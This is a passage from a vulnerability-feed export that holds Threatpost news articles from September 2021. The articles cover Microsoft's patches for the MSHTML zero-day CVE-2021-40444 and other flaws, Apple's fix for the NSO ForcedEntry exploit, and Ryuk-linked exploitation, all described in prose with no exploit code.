it\u2019s a painfully throbbing sore thumb, given that researchers developed a number of proof-of-concept (PoC) exploits showing how drop-dead simple it is to exploit, and attackers have been sharing guides on how to do just that.\n\n## Under Active Attack: CVE-2021-40444\n\nIt\u2019s been nearly two weeks since this serious, simple to exploit bug has been under active attack, and it\u2019s been nearly a week since attackers started to share blueprints on how to carry out an exploit.\n\nMicrosoft said last week that the flaw could let an attacker \u201ccraft a malicious ActiveX control to be used by a Microsoft Office document that hosts the browser rendering engine,\u201d after which \u201cthe attacker would then have to convince the user to open the malicious document.\u201d Unfortunately, malicious macro attacks continue to be prevalent: In July, for example, legacy users of Microsoft Excel were being targeted in a malware campaign that used a [novel malware-obfuscation technique](<https://threatpost.com/microsoft-office-malware-protection-bypass/167652/>) to disable malicious macro warnings and deliver the ZLoader trojan.\n\nAn attacker would need to convince a user to open a specially crafted Microsoft Office document containing the exploit code.\n\nSatnam Narang, staff research engineer at Tenable, noted via email that there have been warnings that this vulnerability will be incorporated into malware payloads and used to distribute ransomware: A solid reason to put the patch at the top of your priority list.\n\n\u201cThere are no indications that this has happened yet, but with the patch now available, organizations should prioritize updating their systems as soon as possible,\u201d Narang told Threatpost.\n\nLast Wednesday, Sept. 8, [Kevin Beaumont](<https://twitter.com/GossiTheDog/status/1435515875025633282>) \u2013 head of the security operations center for U.K. fashion retailer Arcadia Group and a past senior threat intelligence analyst at Microsoft \u2013 [noted](<https://twitter.com/GossiTheDog/status/1435562870331293706>) that the exploit had been in the wild for about a week or more.\n\nIt got worse: Last Thursday, Sept. 9, threat actors began [sharing exploit how-tos](<https://www.bleepingcomputer.com/news/microsoft/windows-mshtml-zero-day-exploits-shared-on-hacking-forums/>) and PoCs for the Windows MSHTML zero-day. BleepingComputer gave it a try and found that the guides are \u201csimple to follow and [allow] anyone to create their own working version\u201d of the exploit, \u201cincluding a Python server to distribute the malicious documents and CAB files.\u201d\n\nIt took the publication all of 15 minutes to recreate the exploit.\n\nA week ago, on Tuesday, Sept. 7, Microsoft and the Cybersecurity and Infrastructure Security Agency (CISA) had [urged mitigations](<https://threatpost.com/microsoft-zero-day-rce-flaw-in-windows/169273/>) of the remote-code execution (RCE) flaw, which is found in all modern Windows operating systems.\n\nLast week, the company didn\u2019t say much about the bug in MSHTML, aka Trident, which is the HTML engine built into Windows since Internet Explorer debuted more than 20 years ago and which allows Windows to read and display HTML files.\n\nMicrosoft did say, however, that it was aware of targeted attacks trying to exploit it via specially crafted Microsoft Office documents.\n\nIn spite of there being no security updates available for the vulnerability at that time, MIcrosoft went ahead and disclosed it, along with mitigations meant to help prevent exploitation.\n\n## Mitigations That Don\u2019t Mitigate\n\nTracked as [CVE-2021-40444](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40444>), the flaw is serious enough that CISA sent its own advisory, alerting users and administrators and recommending that they use the mitigations and workarounds Microsoft recommended \u2013 mitigations that try to prevent exploitation by blocking ActiveX controls and Word/RTF document previews in Windows Explorer.\n\nEmphasis on \u201ctry to:\u201d Unfortunately, those mitigations proved to be less than foolproof, as researchers, including Beaumont, managed to [modify the exploit](<https://twitter.com/GossiTheDog/status/1435570418623070210>) so that it didn\u2019t use ActiveX, [effectively skirting Microsoft\u2019s mitigations](<https://www.bleepingcomputer.com/news/microsoft/windows-mshtml-zero-day-defenses-bypassed-as-new-info-emerges/>).\n\nThe Zero Day Initiative [said that](<https://www.zerodayinitiative.com/blog/2021/9/14/the-september-2021-security-update-review-kpgpb>) for now, the most-effective defense is \u201cto apply the patch and avoid Office docs you aren\u2019t expecting to receive.\u201d\n\nBe sure to carefully review and install [all the needed patches](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444>) for your setup: There\u2019s a long list of updates for specific platforms, and it\u2019s important not to slather on too thin a layer of protection.\n\nCredit for finding this bug goes to Rick Cole of MSTIC; Bryce Abdo, Dhanesh Kizhakkinan and Genwei Jiang, all from Mandiant; and Haifei Li of EXPMON.\n\n## Baddest Bug Award\n\nThe award for baddest bug \u2013 or at least, the one with the highest severity rating, with a CVSS score of 9.8 \u2013 goes to [CVE-2021-38647](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647>): a critical remote-code execution (RCE) vulnerability in Open Management Infrastructure.\n\n[OMI is an open-source project](<https://github.com/microsoft/omi>) to further the development of a production-quality implementation of the [DMTF CIM/WBEM](<https://www.dmtf.org/standards/cim>) standards.\n\n\u201cThis vulnerability requires no user interaction or privileges, so an attacker can run their code on an affected system just by sending a specially crafted message to an affected system,\u201d the Zero Day Initiatve explained. That makes it high priority: ZDI recommended that OMI users test and deploy this one quickly.\n\n## Yet More PrintNightmare Patches\n\nMicrosoft also patched three elevation of privilege vulnerabilities in Windows Print Spooler ([CVE-2021-38667](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38667>), [CVE-2021-38671](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38671>) and [CVE-2021-40447](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40447>)), all rated important.\n\nThese are the three latest fixes in a steady [stream](<https://threatpost.com/cisa-mitigation-printnightmare-bug/167515/>) of [patches](<https://threatpost.com/microsoft-unpatched-printnightmare-zero-day/168613/>) for flaws in Windows Print Spooler that followed the [disclosure of PrintNightmare](<https://threatpost.com/poc-exploit-windows-print-spooler-bug/167430/>) in June. This probably won\u2019t be the last patch in that parade: Tenable\u2019s Narang told Threatpost that \u201cresearchers continue to discover ways to exploit Print Spooler\u201d and that the firm expects \u201ccontinued research in this area.\u201d\n\nOnly one \u2013 CVE-2021-38671 \u2013 of today\u2019s patch trio is rated as \u201cexploitation more likely.\u201d Regardless, organizations should prioritize patching these flaws as \u201cthey are extremely valuable to attackers in post-exploitation scenarios,\u201d Narang observed.\n\n## More \u2018Exploitation More Likely\u2019\n\nImmersive\u2019s Breen told Threatpost that a trio of local privilege-escalation vulnerabilities in the Windows Common Log File System Driver ([CVE-2021-36955](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36955>), [CVE-2021-36963](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36963>), [CVE-2021-38633](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38633>)) are also noteworthy, all of them being listed as \u201cexploitation more likely.\u201d\n\n\u201cLocal priv-esc vulnerabilities are a key component of almost every successful cyberattack, especially for the likes of ransomware operators who abuse this kind of exploit to gain the highest level of access,\u201d Breen said via email. \u201cThis allows them to disable antivirus, delete backups and ensure their encryptors can reach even the most sensitive of files.\u201d\n\nOne glaring example of that emerged in May, when hundreds of millions of [Dell users were found to be at risk](<https://threatpost.com/dell-kernel-privilege-bugs/165843/>) from kernel-privilege bugs. The bugs lurked undisclosed for 12 years, and could have allowed attackers to bypass security products, execute code and pivot to other parts of the network for lateral movement.\n\nThe three exploits Microsoft patched on Tuesday aren\u2019t remote, meaning that attackers need to have achieved code execution by other means. One such way would be via CVE-2021-40444.\n\nTwo other vulnerabilities \u2013 [CVE-2021-38639](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38639>) and [CVE-2021-36975](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36975>), both Win32k escalation of privilege flaws \u2013 have also been listed as \u201cexploitation more likely\u201d and, together, cover the full range of supported Windows versions.\n\nBreen said that he\u2019s starting to feel like a broken record when it comes to privilege escalation vulnerabilities. They\u2019re not rated as high a severity risk as RCE bugs, but \u201cthese local exploits can be the linchpin in the post-exploitation phases of an experienced attacker,\u201d he asserted. \u201cIf you can block them here you have the potential to significantly limit their damage.\u201d\n\nhe added, \u201cIf we assume a determined attacker will be able to infect a victim\u2019s device through social engineering or other techniques, I would argue that patching priv-esc vulnerabilities is even more important than patching some other remote code-execution vulns,\u201d Breen said.\n\n## Still, This RCE Is Pretty Important\n\nDanny Kim, a principal architect at Virsec who spent time at Microsoft during his graduate work on the OS security development team, wants security teams to pay attention to [CVE-2021-36965](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36965>) \u2013 an important-rated Windows WLAN AutoConfig Service RCE vulnerability \u2013 given its combination of severity (with a CVSS:3.0 base score of 8.8); no requirement for privilege escalation/user interaction to exploit; and breadth of affected Windows versions.\n\nThe WLAN AutoConfig Service is part of the mechanism that Windows 10 uses to choose the wireless network a computer will connect to, and to the Windows Scripting Engine, respectively.\n\nThe patch fixes a flaw that could allow network-adjacent attackers to run their code on affected systems at system level.\n\nAs the Zero Day Initiative explained, that means an attacker could \u201ccompletely take over the target \u2013 provided they are on an adjacent network.\u201d That would come in quite handy in a [coffee-shop attack](<https://threatpost.com/microsoft-wi-fi-protection/145053/>), where multiple people use an unsecured Wi-Fi network.\n\nThis one \u201cis especially alarming,\u201d Kim said: Think [SolarWinds](<https://threatpost.com/solarwinds-default-password-access-sales/162327/>) and PrintNightmare.\n\n\u201cAs recent trends have shown, remote code execution-based attacks are the most critical vulnerabilities that can lead to the largest negative impact on an enterprise, as we have seen in the Solarwinds and PrintNightmare attacks,\u201d he said in an email.\n\nKim said that in spite of the exploit code maturity being currently unproven, the vulnerability has been confirmed to exist, leaving an opening for attackers.\n\n\u201cIt specifically relies on the attacker being located in the same network, so it would not be surprising to see this vulnerability used in combination with another CVE/attack to achieve an attacker\u2019s end goal,\u201d he predicted. \u201cRemote code execution attacks can lead to unverified processes running on the server workload, only highlighting the need for constant, deterministic runtime monitoring. Without this protection in place, RCE attacks can lead to a total loss of confidentiality and integrity of an enterprise\u2019s data.\u201d\n\nThe Zero Day Initiative also found this one alarming. Even though it requires proximity to a target, it requires no privileges or user interaction, so \u201cdon\u2019t let the adjacent aspect of this bug diminish the severity,\u201d it said. \u201cDefinitely test and deploy this patch quickly.\u201d\n\n## And Don\u2019t Forget to Patch Chrome\n\nBreen told Threatpost via email that security teams should also pay attention to 25 vulnerabilities patched in Chrome and ported over to Microsoft\u2019s Chromium-based Edge.\n\nBrowsers are, after all, windows into things both private, sensitive and valuable to criminals, he said.\n\n\u201cI cannot underestimate the importance of patching your browsers and keeping them up to date,\u201d he stressed. \u201cAfter all, browsers are the way we interact with the internet and web-based services that contain all sorts of highly sensitive, valuable and private information. Whether you\u2019re thinking about your online banking or the data collected and stored by your organization\u2019s web apps, they could all be exposed by attacks that exploit the browser.\u201d\n\n**It\u2019s time to evolve threat hunting into a pursuit of adversaries. **[**JOIN**](<https://threatpost.com/webinars/threat-hunting-catch-adversaries/?utm_source=ART&utm_medium=ART&utm_campaign=September_Cybersixgill_Webinar>)** Threatpost and Cybersixgill for **[**Threat Hunting to Catch Adversaries, Not Just Stop Attacks**](<https://threatpost.com/webinars/threat-hunting-catch-adversaries/?utm_source=ART&utm_medium=ART&utm_campaign=September_Cybersixgill_Webinar>)** and get a guided tour of the dark web and learn how to track threat actors before their next attack. **[**REGISTER NOW**](<https://threatpost.com/webinars/threat-hunting-catch-adversaries/?utm_source=ART&utm_medium=ART&utm_campaign=September_Cybersixgill_Webinar>)** for the LIVE discussion on September 22 at 2 PM EST with Cybersixgill\u2019s Sumukh Tendulkar and Edan Cohen, along with researcher and vCISO Chris Roberts and Threatpost host Becky Bracken.**\n", "cvss3": {}, "published": "2021-09-14T20:29:14", "type": "threatpost", "title": "Microsoft Patches Actively Exploited Windows Zero-Day", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-36955", "CVE-2021-36963", "CVE-2021-36965", "CVE-2021-36975", "CVE-2021-38633", "CVE-2021-38639", "CVE-2021-38647", "CVE-2021-38667", "CVE-2021-38671", "CVE-2021-40444", "CVE-2021-40447"], "modified": "2021-09-14T20:29:14", "id": "THREATPOST:6D61C560E85ECD0A7A35C55E74849510", "href": "https://threatpost.com/microsoft-patch-tuesday-exploited-windows-zero-day/169459/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2021-09-15T07:42:46", "description": "Apple users should immediately update all their devices \u2013 iPhones, iPads, Macs and Apple Watches \u2013 to install an emergency patch for a zero-click zero-day exploited by NSO Group to install spyware.\n\nThe [security updates](<https://support.apple.com/en-us/HT201222>), pushed out by Apple on Monday, include [iOS 14.8](<https://support.apple.com/en-us/HT212807>) for iPhones and iPads, as well as new updates for Apple Watch and macOS. The patches will fix at least one vulnerability that the tech behemoth said \u201cmay have been actively exploited.\u201d\n\nCitizen Lab first [discovered](<https://threatpost.com/pegasus-spyware-uses-iphone-zero-click-imessage-zero-day/168899/>) the never-before-seen, zero-click exploit, which it detected targeting iMessaging, last month. It\u2019s allegedly been used to illegally spy on Bahraini activists with NSO Group\u2019s Pegasus spyware, according to the cybersecurity watchdog.\n\n[![Infosec Insiders Newsletter](https://media.threatpost.com/wp-content/uploads/sites/103/2021/07/10165815/infosec_insiders_in_article_promo.png)](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)\n\nThe digital researchers dubbed the new iMessaging exploit ForcedEntry.\n\nCitizen Group said in August that they had identified nine Bahraini activists whose iPhones were inflicted with Pegasus spyware between June 2020 and February 2021. Some of the activists\u2019 phones suffered zero-click iMessage attacks that, besides ForcedEntry, also included [the 2020 KISMET exploit](<https://threatpost.com/zero-click-apple-zero-day-pegasus-spy-attack/162515/>).\n\nThe activists included three members of [Waad](<https://www.aldemokrati.org/>) (a secular Bahraini political society), three members of the [Bahrain Center for Human Rights](<https://bahrainrights.net/>), two exiled Bahraini dissidents, and one member of [Al Wefaq](<https://en.wikipedia.org/wiki/Al_Wefaq>) (a Shiite Bahraini political society), Citizen Lab wrote.\n\nThe ForcedEntry exploit was particularly notable in that it was successfully deployed against the latest iOS versions \u2013 14.4 & 14.6 \u2013 blowing past Apple\u2019s new BlastDoor sandboxing feature to install spyware on the iPhones of the Bahraini activists.\n\nCitizen Lab first observed NSO Group deploying ForcedEntry in February 2021. Apple had just [introduced BlastDoor](<https://threatpost.com/apple-ios-imessage-blastdoor/163479/>), a structural improvement in iOS 14 meant to block message-based, zero-click exploits like these NSO Group-associated attacks \u2013 the month before. BlastDoor was supposed to prevent this type of Pegasus attack by acting as what Google Project Zero\u2019s Samuel Gro\u00df [called](<https://googleprojectzero.blogspot.com/2021/01/a-look-at-imessage-in-ios-14.html>) a \u201ctightly sandboxed\u201d service responsible for \u201calmost all\u201d of the parsing of untrusted data in iMessages.\n\nIn a [post](<https://citizenlab.ca/2021/09/forcedentry-nso-group-imessage-zero-click-exploit-captured-in-the-wild/>) on Monday, Citizen Lab researchers said that in March 2021, they had examined the phone of a Saudi activist who requested anonymity and determined that the phone had been infected with NSO Group\u2019s Pegasus spyware. Last Tuesday, Sept. 7, Citizen Lab forwarded artifacts from two types of crashes on another phone that had been infected with Pegasus, suspecting that both infections showed parts of the ForcedEntry exploit chain.\n\nCitizen Lab forwarded the artifacts to Apple on Tuesday, Sept. 7. On Monday, Sept. 13, Apple confirmed that the files included a zero-day exploit against iOS and MacOS. Apple has designated the ForcedEntry exploit CVE-2021-30860: an as-yet-unrated flaw that Apple describes as \u201cprocessing a maliciously crafted PDF may lead to arbitrary code execution.\u201d\n\n## Sniffing out NSO Group\u2019s Tracks\n\nCitizen Lab described several distinct elements that gives researchers high confidence that the exploit can be tied to the secretive Israeli spyware maker [NSO Group](<https://threatpost.com/nso-group-data-pegasus/167897/>), including a forensic artifact called CascadeFail.\n\nCascadeFail is a bug whereby \u201cevidence is incompletely deleted from the phone\u2019s DataUsage.sqlite file,\u201d according to Citizen Lab. In CascadeFail, \u201can entry from the file\u2019s ZPROCESS table is deleted, but not entries in the ZLIVEUSAGE table that refer to the deleted ZPROCESS entry,\u201d they described.\n\nThat has NSO Group\u2019s fingerprints, they said: \u201cWe have only ever seen this type of incomplete deletion associated with NSO Group\u2019s Pegasus spyware, and we believe that the bug is distinctive enough to point back to NSO.\u201d\n\nAnother telltale sign: multiple process names installed by the ForcedEntry exploit, including the name \u201csetframed\u201d. That process name was used in an attack with NSO Group\u2019s Pegasus spyware on an [Al Jazeera journalist](<https://threatpost.com/zero-click-apple-zero-day-pegasus-spy-attack/162515/>) in July 2020, according to Citizen Lab: a detail that the watchdog didn\u2019t reveal at the time.\n\nZero click remote exploits such as the novel method used by Pegasus spyware to invisibly infect an Apple device without the victim\u2019s knowledge or the need for the victim to click on anything at all were used to infect one victim for as long as six months. They\u2019re pure gold to governments, mercenaries and criminals who want to secretly surveil targets\u2019 devices without being detected.\n\nPegasus is a powerful spyware: it can turn on a target\u2019s camera and microphone so as to record messages, texts, emails, and calls, even if they\u2019re sent via encrypted messaging apps such as [Signal](<https://threatpost.com/google-research-pinpoints-security-soft-spot-in-multiple-chat-platforms/163175/>).\n\n## Pegasus\u2019s Threadbare Narrative\n\nNSO has long maintained that it only sells its spyware to a handful of intelligence communities within countries that have been thoroughly vetted for human rights violations. The company has repeatedly tried to keep up that narrative, taking the tactic of questioning Citizen Lab\u2019s methods and motives.\n\nBut, as pointed out by Hank Schless, Senior Manager of security solutions at endpoint-to-cloud security company Lookout, the narrative is now pretty threadbare. \u201cThe recent exposure of 50,000 phone numbers linked to targets of NSO Group customers was all people needed to see right through what NSO claims,\u201d he told Threatpost on Monday.\n\n\u201cSince Lookout and The Citizen Lab first discovered Pegasus back in 2016, it has continued to evolve and take on new capabilities,\u201d he elaborated. \u201cIt can now be deployed as a zero-click exploit, which means that the target user doesn\u2019t even have to tap a malicious link for the surveillanceware to be installed.\n\nWhile the malware has adjusted its delivery methods, the basic exploit chain remains the same, Schless continued. \u201cPegasus is delivered via a malicious link that\u2019s been socially engineered to the target, the vulnerability is exploited and the device is compromised, then the malware communicated back to a command-and-control (C2) server that gives the attacker free reign over the device. Many apps will automatically create a preview or cache of links in order to improve the user experience. Pegasus takes advantage of this functionality to silently infect the device.\u201d\n\nSchless said that this is an example of how important it is for both individuals and enterprise organizations to have visibility into the risks their mobile devices present, Pegasus being just onei \u201cextreme, but easily understandable example.\n\n\u201cThere are countless pieces of malware out there that can easily exploit known device and software vulnerabilities to gain access to your most sensitive data,\u201d he continued. \u201cFrom an enterprise perspective, leaving mobile devices out of the greater security strategy can represent a major gap in the ability to protect the entire infrastructure from malicious actors. Once the attacker has control of a mobile device or even compromises the user\u2019s credentials, they have free access to your entire infrastructure. Once they enter your cloud or on-prem apps, they can move laterally and identify sensitive assets to encrypt for a ransomware attack or exfiltrate to sell to the highest bidder.\u201d\n\nKevin Dunne, president at unified access orchestration provider Pathlock, noted that the Pegasus infections point to the need for businesses to look beyond securing servers and workstations as primary targets for cyberattacks and espionage. \u201cMobile devices are now used broadly and contain sensitive information that needs to be protected,\u201d he explained.\n\nTo protect themselves against spyware, businesses should look at their mobile device security strategy, Dunne said \u2013 particularly when threats come in forms that are far more insidious than suspicious SMS messages or phishy links that security teams can train users to avoid.\n\n\u201cSpyware attackers have now engineered zero click attacks which are able to get full access to a phone\u2019s data and microphone/camera by using vulnerabilities in third party apps or even built-in applications,\u201d Dunne said. \u201cOrganizations need to make sure they have control over what applications users download on to their phones, and can ensure they are up to date so any vulnerabilities are patched.\u201d\n\n**It\u2019s time to evolve threat hunting into a pursuit of adversaries. **[**JOIN**](<https://threatpost.com/webinars/threat-hunting-catch-adversaries/?utm_source=ART&utm_medium=ART&utm_campaign=September_Cybersixgill_Webinar>)** Threatpost and Cybersixgill for **[**Threat Hunting to Catch Adversaries, Not Just Stop Attacks**](<https://threatpost.com/webinars/threat-hunting-catch-adversaries/?utm_source=ART&utm_medium=ART&utm_campaign=September_Cybersixgill_Webinar>)** and get a guided tour of the dark web and learn how to track threat actors before their next attack. **[**REGISTER NOW**](<https://threatpost.com/webinars/threat-hunting-catch-adversaries/?utm_source=ART&utm_medium=ART&utm_campaign=September_Cybersixgill_Webinar>)** for the LIVE discussion on September 22 at 2 PM EST with Cybersixgill\u2019s Sumukh Tendulkar and Edan Cohen, along with researcher and vCISO Chris Roberts and Threatpost host Becky Bracken.**\n", "cvss3": {}, "published": "2021-09-13T22:10:15", "type": "threatpost", "title": "Apple Issues Emergency Fix for NSO Zero-Click Zero Day", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-30860"], "modified": "2021-09-13T22:10:15", "id": "THREATPOST:958AA77BA7D3A5325FEB47A5DE036F1C", "href": "https://threatpost.com/apple-emergency-fix-nso-zero-click-zero-day/169416/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-09-17T12:16:20", "description": "Criminals behind the Ryuk ransomware were early exploiters of the Windows MSHTML flaw, actively leveraging the bug in campaigns ahead of a patch released by [Microsoft](<https://threatpost.com/microsoft-patch-tuesday-exploited-windows-zero-day/169459/>) this week.\n\nCollaborative research by Microsoft and RiskIQ revealed campaigns by Ryuk threat actors early on that exploited the flaw, tracked as [CVE-2021-40444](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444>). The bug is a remote code execution (RCE) vulnerability in Windows that allows attackers to craft malicious Microsoft Office documents. The two [released](<https://www.microsoft.com/security/blog/2021/09/15/analyzing-attacks-that-exploit-the-mshtml-cve-2021-40444-vulnerability/>) [separate reports](<https://www.riskiq.com/blog/external-threat-management/wizard-spider-windows-0day-exploit/>) online this week to provide a look into who has been using the flaw\u2013which can be used to hide a malicious ActiveX control in an Office document\u2013in attacks, as well as their potential connections to known criminal groups.\n\n[![Infosec Insiders Newsletter](https://media.threatpost.com/wp-content/uploads/sites/103/2021/07/10165815/infosec_insiders_in_article_promo.png)](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)\n\nSpecifically, most of the attacks that researchers analyzed used MSHTML as part of an initial access campaign that distributed custom Cobalt Strike Beacon loaders, which communicated with an infrastructure that is associated with multiple cybercriminal campaigns\u2013including human-operated ransomware, researchers from the Microsoft 365 Defender Threat Intelligence Team at the Microsoft Threat Intelligence Center (MSTIC) reported.\n\nRiskIQ identified the ransomware infrastructure as potentially belonging to the Russian-speaking [Wizard Spider](<https://threatpost.com/wizard-spider-upgrades-ryuk-ransomware/149853/>) crime syndicate, known to maintain and distribute Ryuk ransomware.\n\n\u201cBased on multiple overlapping patterns in network infrastructure setup and use, we assess with high confidence that the operators behind the zero-day campaign are using infrastructure affiliated with Wizard Spider (CrowdStrike), and/or related groups UNC1878 (FireEye/Mandiant) and Ryuk (public), who continue to use Ryuk/Conti and BazaLoader/BazarLoader malware in targeted ransomware campaigns,\u201d RiskIQ\u2019s Team Atlas wrote in its analysis.\n\nMicrosoft stopped short of specifically identifying the threat actors observed exploiting the MSHTML flaw, instead referring to unidentified perpetrators as \u201cdevelopment groups\u201d using the prefix \u201cDEV\u201d and a number to indicate an emerging threat group.\n\n## **Separate Campaigns, Threat Actors**\n\nIn its analysis, the company cites activity from three DEV groups since August that have been seen in attacks leveraging CVE-2021-40444: DEV-0365, DEV-0193 and DEV-0413.\n\nThe infrastructure the company associates with DEV-0365 was used in the Cobalt Strike campaigns and follow-on activity, indicating \u201cmultiple threat actors or clusters associated with human-operated ransomware attacks (including the deployment of Conti ransomware),\u201d according to researchers. However, DEV-0365 potentially may be involved only as a command-and-control infrastructure as a service for cybercriminals, the company said.\n\n\u201cAdditionally, some of the infrastructure that hosted the oleObjects utilized in the August 2021 attacks abusing CVE-2021-40444 were also involved in the delivery of BazaLoader and Trickbot payloads \u2014 activity that overlaps with a group Microsoft tracks as DEV-0193,\u201d the team said.\n\nMicrosoft attributed another campaign using the vulnerability to a group identified as DEV-0413. This campaign is \u201csmaller and more targeted than other malware campaigns we have identified leveraging DEV-0365 infrastructure,\u201d and was observed exploiting the flaw as early as Aug. 18.\n\nThe campaign used a social-engineering lure that aligned with the business operations of targeted organizations, \u201csuggesting a degree of purposeful targeting,\u201d the company observed.\n\n\u201cThe campaign purported to seek a developer for a mobile application, with multiple application development organizations being targeted,\u201d they wrote. \u201cIn most instances, file-sharing services were abused to deliver the CVE-2021-40444-laden lure.\u201d\n\n## **History of a Vulnerability**\n\nMicrosoft first [revealed](<https://threatpost.com/microsoft-zero-day-rce-flaw-in-windows/169273/>) the MSHTML zero-day vulnerability on Sept. 7, joining the Cybersecurity and Infrastructure Security Agency (CISA) in warning organizations of the bug and urging mitigations in separate alerts released that day.\n\nThe vulnerability allows an attacker to craft a malicious ActiveX control that can be used by a Microsoft Office document that hosts the browser rendering engine, according to Microsoft. \nSomeone would have to open the malicious document for an attack to be successful, the company said. This is why attackers use email campaigns with lures that appear relevant to their targets in the hopes that they will launch embedded documents, researchers said.\n\nIndeed, at least one of the campaigns Microsoft researchers observed included emails impersonating contracts and legal agreements to try to trick victims to opening the documents to distribute the payload.\n\nThough it\u2019s not completely certain if Wizard Spider is behind some of these early attacks, it\u2019s clear that ransomware operators are interested in exploiting the MSHTML flaw, according to RiskIQ.\n\nHowever, at this point, \u201cwe assume there has been limited deployment of this zero-day,\u201d researchers wrote. That means that even if known ransomware criminals are involved in the attacks, delivering ransomware may not be the ultimate goal of the campaigns, they observed.\n\n\u201cInstead, we assess with medium confidence that the goal of the operators behind the zero-day may, in fact be traditional espionage,\u201d RISKIQ\u2019s Team Atlas wrote. \u201cThis goal could easily be obscured by a ransomware deployment and blend into the current wave of targeted ransomware attacks.\u201d\n\nNo matter, organizations should take advantage of the patch Microsoft released this week for the vulnerability and update their systems now before more attacks occur, the company reiterated. \u201cCustomers are advised to apply the [security patch](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444>) for CVE-2021-40444 to fully mitigate this vulnerability,\u201d the MSTIC team wrote.\n\n**Rule #1 of Linux Security: **No cybersecurity solution is viable if you don\u2019t have the basics down. [**JOIN**](<https://threatpost.com/webinars/4-golden-rules-linux-security/?utm_source=ART&utm_medium=ART&utm_campaign=September_Uptycs_Webinar>) Threatpost and Linux security pros at Uptycs for a LIVE roundtable on the [**4 Golden Rules of Linux Security**](<https://threatpost.com/webinars/4-golden-rules-linux-security/?utm_source=ART&utm_medium=ART&utm_campaign=September_Uptycs_Webinar>). Your top takeaway will be a Linux roadmap to getting the basics right! [**REGISTER NOW**](<https://threatpost.com/webinars/4-golden-rules-linux-security/?utm_source=ART&utm_medium=ART&utm_campaign=September_Uptycs_Webinar>) and join the **LIVE event on Sept. 29 at Noon EST**. Joining Threatpost is Uptycs\u2019 Ben Montour and Rishi Kant who will spell out Linux security best practices and take your most pressing questions in real time.\n", "cvss3": {}, "published": "2021-09-17T12:07:59", "type": "threatpost", "title": "Microsoft MSHTML Flaw Exploited by Ryuk Ransomware Gang", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-40444"], "modified": "2021-09-17T12:07:59", "id": "THREATPOST:3C3F20C93519036CC712D1CA3A6D7C48", "href": "https://threatpost.com/microsoft-mshtml-ryuk-ransomware/174780/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2021-09-08T12:29:02", "description": "Both Microsoft and federal cybersecurity officials are urging organizations to use mitigations to combat a zero-day remote control execution (RCE) vulnerability in Windows that allows attackers to craft malicious Microsoft Office documents.\n\nMicrosoft has not revealed much about the MSHTML bug, tracked as [CVE-2021-40444](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40444>), beyond that it is \u201caware of targeted attacks that attempt to exploit this vulnerability by using specially-crafted Microsoft Office documents,\u201d according to an advisory released Tuesday.\n\nHowever, it\u2019s serious enough that the Cybersecurity and Infrastructure Security Agency (CISA) released [an advisory](<https://us-cert.cisa.gov/ncas/current-activity/2021/09/07/microsoft-releases-mitigations-and-workarounds-cve-2021-40444>) of its own alerting users and administrators to the vulnerability and recommending that they use the mitigations and workarounds Microsoft recommends.\n\nThe vulnerability allows an attacker to craft a malicious ActiveX control that can be used by a Microsoft Office document that hosts the browser rendering engine, according to Microsoft. \n[![Infosec Insiders Newsletter](https://media.threatpost.com/wp-content/uploads/sites/103/2021/07/10165815/infosec_insiders_in_article_promo.png)](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)The attacker would then have to convince the user to open the malicious document for an attack to be successful, the company said. Moreover, users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights, according to the advisory.\n\n## **Affecting More than Office**\n\nThough Microsoft is still investigating the vulnerability, it could prove to go beyond affecting just Microsoft Office documents due to the ubiquitous use of MSHTML on Windows, warned Jake Williams, co-founder and CTO at incident response firm [BreachQuest](<https://breachquest.com/>).\n\n\u201cIf you\u2019ve ever opened an application that seemingly \u2018magically\u2019 knows your proxy settings, that\u2019s likely because it uses MSHTML under the hood,\u201d he said in an e-mail to Threatpost. \u201cVulnerabilities like these tend to have extremely long lifetimes for exploitation in the wild.\u201d\n\nEven if the vulnerability\u2019s reach does not go beyond Office documents, its presence and the fact that attackers are already trying to exploit are worrisome enough for organizations to take immediate action, noted another security professional.\n\nMalicious Office documents are a popular tactic with cybercriminals and state-sponsored threat actors, and the vulnerability give them \u201cmore direct exploitation of a system and the usual tricking users to disable security controls,\u201d observed John Bambenek, principal threat hunter at digital IT and security operations firm [Netenrich](<https://netenrich.com/>).\n\n\u201cAs this is already being exploited, immediate patching should be done,\u201d he advised. \u201cHowever, this is a stark reminder that in 2021, we still can\u2019t send documents from point A to point B securely.\u201d\n\n## **Mitigations and Workarounds**\n\nMicrosoft has offered some advice for organizations affected by the vulnerability\u2014first discovered by Rick Cole of the Microsoft Security Response Center, Haifei Li of EXPMON, and Dhanesh Kizhakkinan, Bryce Abdo and Genwei Jiang of Mandiant\u2013until it can offer its own security update. That may come in the form of a Patch Tuesday fix or an out-of-band patch, depending on what researchers discover, the company said.\n\nUntil then, customers should keep anti-malware products up to date, though those who use automatic updates don\u2019t need to take action now, Microsoft said. For enterprise customers who manage updates, they should select the 